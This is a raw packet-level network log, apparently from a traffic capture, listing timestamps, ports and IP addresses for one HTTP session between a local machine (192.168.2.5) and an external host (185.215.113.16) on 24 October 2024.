Oct 24, 2024 19:29:27.966070890 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.966087103 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.966095924 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.966126919 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.966169119 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.966185093 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.966198921 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.966213942 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.966229916 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.966236115 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.966245890 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.966263056 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.966265917 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.966276884 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.966306925 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.966306925 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.966494083 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.966540098 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.966556072 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.966583967 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.966619968 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.966635942 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.966650009 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.966675043 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.966675997 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.966691971 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.966702938 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.966707945 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.966727018 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.966727018 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.966772079 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.972359896 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.973778009 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.973793983 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.973809004 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.973866940 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.973896027 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.973920107 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.973936081 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.973948956 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.973952055 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.973968983 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.973994017 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.974014997 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.974036932 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.974061012 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.974076033 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.974092007 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.974102020 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.974107981 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.974126101 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.974143028 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.974155903 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.974168062 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.974189997 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.974205971 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.974229097 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.974261999 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.974277020 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.974317074 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.974450111 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.974489927 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.974494934 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.974507093 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.974543095 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.974662066 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.974677086 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.974694014 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.974709034 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.974720001 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.974725962 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.974745989 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.974796057 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.974812031 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.974827051 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.974838972 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.974849939 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.974865913 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.974867105 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.974889994 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.974905968 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.974909067 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.974920988 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.974939108 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.974948883 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.974981070 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.974984884 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.975002050 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.975016117 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.975032091 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.975039005 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.975076914 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.975214005 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.975229979 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.975244045 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.975259066 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.975267887 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.975274086 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.975296974 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.004061937 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.048706055 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.048759937 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.048795938 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.048815966 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.048829079 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.048913956 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.058490992 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.058543921 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.058595896 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.058614016 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.058629990 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.058665991 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.058698893 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.058713913 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.058734894 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.058753014 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.058768034 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.059961081 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.067785978 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.067877054 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.067991972 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.079418898 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.079453945 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.079505920 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.079540014 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.079576969 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.079595089 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.079633951 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.079634905 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.079669952 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.079703093 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.079719067 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.079747915 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.079755068 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.079807997 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.079842091 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.079874992 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.079893112 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.079914093 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.079920053 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.079955101 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.079989910 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.080040932 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.081187963 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.081221104 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.081255913 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.081274986 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.081310034 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.081341028 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.081376076 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.081409931 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.081443071 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.081454992 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.081490040 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.081496000 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.081547022 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.081581116 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.081624031 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.081630945 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.081666946 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.081671953 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.081701040 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.081804037 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.081830025 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.081836939 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.081876040 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.081897974 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.081906080 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.081947088 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.082001925 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.082052946 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.082087040 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.082117081 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.082120895 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.082156897 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.082164049 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.082190990 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.082243919 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.103451967 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.175894976 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.175935984 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.175955057 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.175970078 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.175988913 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.176006079 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.176018000 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.176032066 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.176048994 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.176050901 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.176067114 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.176073074 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.176119089 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.176141977 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.176158905 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.176176071 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.176218987 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.176218987 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.176284075 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.176299095 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.176323891 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.176348925 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.176362991 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.176368952 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.176378012 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.176389933 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.176403046 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.176419973 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.176430941 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.176436901 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.176455975 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.176456928 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.176471949 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.176511049 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.176517963 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.176527023 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.176547050 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.176553965 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.176563025 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.176587105 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.176601887 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.176604033 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.176618099 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.176626921 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.176634073 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.176651001 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.176657915 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.176666975 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.176683903 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.176687002 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.176698923 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.176738024 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.176785946 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.176801920 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.176825047 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.176826000 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.176845074 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.176867008 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.176867008 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.176882982 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.176899910 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.176917076 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.176927090 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.176938057 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.176950932 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.176954031 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.176970959 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.176979065 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.176986933 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.177002907 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.177022934 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.177035093 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.177043915 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.177161932 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.177179098 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.177195072 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.177205086 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.177212000 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.177246094 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.177249908 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.177268982 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.177288055 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.177297115 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.177316904 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.177334070 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.177366972 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.177381992 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.177396059 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.177412033 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.177414894 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.177428007 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.177438974 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.177468061 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.177469015 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.177485943 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.177501917 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.177529097 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.177638054 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.177654982 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.177670002 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.177678108 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.177687883 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.177704096 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.177721024 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.177726030 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.177753925 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.177962065 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.177978039 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.178002119 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.178016901 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.178020954 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.178034067 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.178041935 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.178050995 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.178075075 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.178076029 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.178092957 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.178108931 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.178114891 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.178126097 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.178143024 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.178155899 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.178164005 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.178172112 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.178188086 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.178188086 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.178204060 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.178267002 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.178283930 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.178297997 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.178314924 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.178324938 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.178332090 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.178344011 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.178349018 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.178366899 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.178374052 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.178384066 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.178400040 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.178411961 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.178416014 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.178435087 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.178577900 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.178606033 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.178633928 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.178649902 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.178658009 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.178673029 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.178687096 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.178735971 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.178778887 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.178778887 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.178808928 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.178822994 CEST	49725	80	192.168.2.5	185.215.113.16
